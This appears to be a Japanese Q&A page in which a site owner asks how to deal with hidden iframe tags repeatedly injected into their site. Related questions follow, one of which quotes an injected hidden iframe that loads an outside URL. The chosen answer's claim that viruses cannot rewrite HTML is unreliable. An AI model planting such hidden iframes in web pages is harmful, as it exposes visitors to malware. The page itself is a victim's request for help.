• ベストアンサー

ウィルスiframeの対処法

最近私が公開しているサイトにiframeのタグが勝手に入りトップページの上部に異常なスペースが入っています。毎日確認して正常なデータをアップロードするのですが、ほぼ1日おきに異常が発生しています。 どうやら自動的にiframeのタグが入るようなプログラムが仕組まれてしまったようです。毎日データの入替えをしていますが、そのうち不正行為に取られ、サイトが閉鎖に追い込まれてしまうと困るので、どなたか対処法を知っている方がいましたら教えてください。

質問者が選んだベストアンサー

  • ベストアンサー
回答No.1

ウィルスでhtmlソースが書き変わるということはまずないはずなのですが。。 それはサーバーが原因ではないでしょうか? 契約が切れると自動的に広告が入ることになっているとか。 今まではばれていなかったけど、とうとう管理者にみつかったとか。。 サーバーをクラッキングしないとhtmlを書き変えることはできないと思います。 ファイルをダウンロードして書き換わっているかどうか確認しましょう。

その他の回答 (1)

  • dora7075
  • ベストアンサー率39% (103/261)
回答No.2

意図しないiframeがあるというのは危険ですね。参考URLにあるように脆弱性の原因となるからです。 まずはサイトの管理元にこの件について確認しましょう。広告で利用するつもりで自動的に組み込まれているのかもしれません。

参考URL:
http://www.rbbtoday.com/news/20070628/43062.html

関連するQ&A

  • iframeを使わずに…

    いつもお世話になっております。 毎度毎度申し訳ありませんが、お知恵を貸してください。 今ネットショップを作ろうとサイト作成しています。 トップページ右上、一部のスペースに、管理人の紹介や更新情報などを載せたいと考えています。 最初、ここにはiframeを使おうと考えていました。 トップページ右上の小さなスペースを利用して、管理人の紹介や更新情報などのページを、iframeを使って切り替えていこう、と。 でもframeやiframeはSEO的にあまりオススメされない方法だと知り、iframeを使わずに同様のことが出来ないかと調べていました。 でも、iframeを使わずにスクロールバーを出す方法や、SSIを利用したリンク管理の効率化などの情報はあったのですが、埋め込んだページだけをリンクで切り替える、という私の探す情報は見つかりませんでした。 そこで質問なのですが、このようなことはiframeを使わなければ出来ないことなのでしょうか? 以前、CSSで似たようなことをしていたサイトがあるという話しを聞いたことがあるのですが、探し出すことが出来ませんでした。 もしよろしければ、アドバイスを御願い致します。

    • ベストアンサー
    • CSS
  • サイト上でiframeタグでインラインフレーム内に

    サイト上でiframeタグでインラインフレーム内に フォーラムを設置しているのですが、下の方のスレッドやトピックを クリックした際に、フレーム内のぺージの位置が、 動かず上部に画面が移動してくれません。 http://ffxiv-fan.rulez.jp/forum_main.php 何かいい対処はありますでしょうか? iframe自体があまりよろしくないのは知っているのですが・・ やはりフォーラムを改造してサイトに埋め込むしかないのでしょうか ご回答お待ち申し上げます。

  • 不正アクセスの改ざんとは?

    この頃、FC2のファイルマネージャーに「最近ホームページにてiframeタグによる改ざんによりウィルスが埋め込まれてしまうサイトが増えております。」というお知らせが出ているのですが、この場合のiframeタグ(ログ?)の改ざん/書き換えというのは具体的にどのようなことなのでしょうか。 ・自分が掲載しているサイト内の写真や文章が書き換えられるという意味ではないですか? ・例えばTOPページで改ざんをされても、新たにTOPページをアップロードすれば、それは消え(上書きされ)ますか? ・そもそも改ざんは初心者が目で見てわかる場所(ソースなど)ではないのでしょうか? ・また現在、運営していなくても、ネット上にHPがあれば脅威に晒されますか? 以前にこの件を検索したとき、主な対処はプロバイダがするので個人では気にしても仕方がない、というような記事を見かけました。 ウィルスチェックをこまめにしておけばいいのかぐらいに思っていたのですが、先日、とある個人HPの方が「不正アクセスでログの改ざんが見つかったので閉鎖します」と告知を出していたので、他人事ではないのかもと不安になりました。 閉鎖をした管理人さんは、どのように改ざんを見つけたのか気になっていますが、もうコンタクトも取れないので確かめようもないです。 自分なりに改めて検索したのですが、警告や結果のニュースばかりで知りたい基本的なところがわかりませんでした。 恐縮ですが「不正アクセスの改ざん/書き換え」について、わかりやすく教えていただけたらと思います。

  • HTMLページ上でiframeを最前面に出したい。

    Javaを使用せずにHTMLページ上に埋め込んだiframeを最前面に出す方法はないでしょうか? ヤフーショップページの左側にあるサイドナビ内のフリースペース枠にiframeでカテゴリーを埋め込んでいます。 その際にiframe枠内ではアコーディオン系のマウスオーバーにてサブメニューが右側に表示されるような感じの事を行っていますが、トリプルサービスでのトップページでは表示になんら問題はないものの、ヤフーショッピングサイトではHTMLタグの制限で外部CSS及びJavaが使用できず何とかならないものかと色々試行錯誤するものの解決の糸口が見当たりません(汗 z-indexをiframeタグに加えてみたもの効かず、overflow:visible;でも効かず、ダメもとでsrc=""のファイル名直後に?wmode=transparentを書き加えてももちろんダメでした(汗 Youtubeの時に?wmode=transparentが有効だったのでもしかして!?と思ったのですが。。。 ヤフーショッピングにてサイドナビ内に設置したいカテゴリが商品量に相応し縦長になり、更にはサイドカテゴリ部より直接商品ページへ飛ばしたいと考えており益々長くなってしまいバランスが悪いのでアコーディオン形のものが埋められればと試行錯誤しております。 他に表示的なアドバイスを含め、何か策があればご教授をお願いします m( . . )m

    • ベストアンサー
    • HTML
  • ホームページの内容が書き換えられました

    レンタルサーバー(XREA)で開設しているホームページの、 トップページ(index.html)が書き換えられてしまいました。 私のサイトのHTMLタグの上部に、“日○エンジニアリング”という 会社案内のタグが追加されていました。他にも、<iframe>タグや、 特定の言葉にのみ<font>タグが付け加えられていました。 googleのサイト内検索を設置しているのですが、 サイト内検索の結果に、 “このサイトはコンピュータに損害を与える可能性があります。” と表示されます。 自宅でのみ更新しておりますので、なぜこんなことになったのか 不思議でなりません。 原因、対策など、教えていただきたいのです。 よろしくお願いいたします。

  • サイトが何度も感染

    数日前に自分のサイトがウイルスに感染しました。 サーバからデータを全消去・パソコンを再インストール後、サイトを再アップロード。 そのバックアップは感染の半月以上前にメディアに取ってあった物で、アップロード前にはカスペルスキーでファイルをスキャンしてみましたが何も出ず。 が、数時間後にサイトにアクセスするとまた感染を検出されます。 感染したサイトのインデックスファイルは、毎回bodyタグの後に↓のようなタグが勝手に書き加えられているのですが… <iframe src='http://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'></iframe> 本当は全部半角です。 サイトのデータがファイルスキャンで引っ掛からない何かに感染しているのでしょうか。それとも、他に何か原因があるのでしょうか?

  • iframeクッキー2

    すみません。解決したと思っていたのに後で確認したところ、出来ていませんでした。 一度削除したのに、またこうやって立てて、申し訳ないです。 何度も試行錯誤しましたがまったくうまくいかなかったので質問させて頂きます。 testページではできたのですが、index.htmlの方にするとうまくいきません。 タグをおいておきます。 ************************* index.htmlの基本とiframe ************************* <html> <head> <title></title> <META>(3行、METAタグをおいています) <link rel="stylesheet" type="text/css" href="/standard.css"> <script language="JavaScript" src="/standard.js"></script> <script> function GetHeightForIndex(){ GetHeight("iframeのID"); } </script> </head> <body onLoad="Clock(),Ref()"> <table ~~~ ~~~ <td valign=top width=87% rowspan=2> <script type="text/javascript"> var cook_key = "iframesrc"; /* クッキーのキーになる適当な名前 */ var cook_src; var cookies = document.cookie.split(';'); for(var i=0; i<cookies.length; i++){ if(cookies[i].indexOf(cook_key) >-1){ cook_src = cookies[i].split('='); break; } } var file = cook_src? cook_src[1] : 'a.htmlにあたるページアド'; (/inde.html なら、 /フォルダ名/a.html のファイルの位置にあります) document.write('<iframe class=tmain src="',file,'" id="iframeのid" name="iframeの名前" frameborder="0" scrolling="no" height="1500"></iframe>') function setCook(arg){ document.cookie = cook_key + '=' + arg + ';'; } </script> <noscript> <iframe class=tmain src=.htmlにあたるページアド id="iframeのid" name="iframeの名前" frameborder=0 scrolling=no height=1500></iframe> </noscript> </td></tr> </table> </body> </html> ************************* index.htmlのリンク ************************* <a href=c.htmlにあたるページ onclick="setCook(this.href)">掲示板</a> </td><td class=white width=1> <div id="line"></div> </td><td class=white><center> <a href=d.htmlにあたるページ onclick="setCook(this.href)">チャット</a> a.htmlはテーブルリンクを使用しています。 <table ~~~ <td onClick="tmain.location.href='a.htmlにあたるページ',setCook(this.href)" STYLE="cursor:hand;"> ************************* standard.js ************************* 時計や更新日、iframeの高さ可変など~~~ //iframeクッキー var cook_key = "iframesrc"; /* クッキーのキーになる適当な名前 */ window.onload = function(){ if(cook_src) document.getElementById('iframeのID').src = ''; var cook_src; var cookies = document.cookie.split(';'); for(var i=0; i<cookies.length; i++){ if(cookies[i].indexOf(cook_key) >-1){ cook_src = cookies[i].split('='); break; } } document.getElementById('iframeのID'').src = cook_src ? (cook_src[1] ? cook_src[1] : 'a.htmlにあたるページアド') : 'a.htmlにあたるページアド'; } function setCook(arg){ document.cookie = cook_key + '=' + arg + ';'; } こういう状態なのですがうまく機能されません。 この状態だと、 最初に表示されるa.html  × (表示されない。404になる。) b.thmlの表示と更新しても同じように表示される(クッキー有) ○ c.htmlやd.htmlなど、表示 ○  ↑の状態でを更新をおす。 ×  (a.htmlの最初に表示するときと同じように404) a.htmlのリンクを押す。(a.htmlが表示される) ○ document.write('<iframe class=tmain src="',file,'" id="iframeのid" name="iframeの名前" frameborder="0" scrolling="no" height="1500"></iframe>') の ',file,'の部分をa.htmlにあたるページに直すと、 最初に表示されるa.html、c.htmlとd.htmlを更新した際、共にa.htmlが正常に表示されたので、出来たのかと思ったのですが、 b.htmlで更新を押すと、クッキーが無になり、a.htmlが表示されるようになる。 何度もすみませんが、うまくいかず、困ったので教えてください。 P.S.  b.htmlのようなページを複数にする場合には、 リンクの onclick="setCook(this.href)" をb.htmlのようにしたいページのリンク(aタグ)に入れればいいですよね?

  • 画像の表示

    ホームページビルダーを使ってホームページを作っています。画像をページのトップにスペースなく挿入するにはどうしたらいいのでしょうか。左右はスペースがあってもいいのですが上部にはぴったり付けるためにはタグで書き込まないと駄目でしょうか。どなたか教えてください。

  • flashの読み込みについて

    アメブロにflashを設置しようと思います。flashを読み込む際に、外部テキストファイルや画像ファイルがうまく読み込まれません 具体的に今私が設置したいflashは http://kstyle.nomaki.jp/template.html ↑のページのtemplate06です。 まず、ダウンロードしたファイルを全て同じ階層にアップロードしました。 そして、このサイトの設置方法に乗っ取って、 <embed src="swfファイルをアップしたURL" width="1000" height="600" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer " allowScriptAccess="always" type="application/x-shockwave-flash" wmode="transparent"> というタグをフリースペースに書きこみました。 すると、swfファイル自体は読み込まれているのですが、同じ階層にアップロードしていたテキストファイルや画像ファイルを読み込むことができませんでした。 以前も同様の問題が発生したのですが、その際はiframeタグを使うことで無事に設置することができました。 今回もiframeタグを用いれば正常に動作しました。 しかし今回は禁止タグの関係で、embedタグのみを用いて解決しなければならない状況です。 どうか解決方法を教えて頂けないでしょうか?

  • gmail file spaceでの質問です。

    先日Gmail File Spaceというfirefoxの拡張機能を使ってgmailのウェブメール上にデータをアップロードできるというものを知り試してみました。 そして前から持っていたGmailアドレス(A)と別にファイルをアップロードするため専用のGmail(B)アドレスを作りました。 最初はそれでうまくいってたのですが、Bのアドレスを使いGmail File Spaceでアップロードしている最中にAのアドレスでGmailのメールチェックをしてみました。 するとGmail File Spaceでのデータのアップロードが終わってから、Gmailのページに行くと「アカウントはロックされています。お客様のアカウントで不正な操作が検出されました。Gmail ユーザーを不正行為から保護するため、このアカウントは 24 時間無効になっています。」とのページに飛ばされ、メールを見れなくなりました。 これは自分がGmail File Spaceを使ったからなのでしょうか? それともGmail File Spaceを使ってるのと別のアドレスでログインしたからなのでしょうか?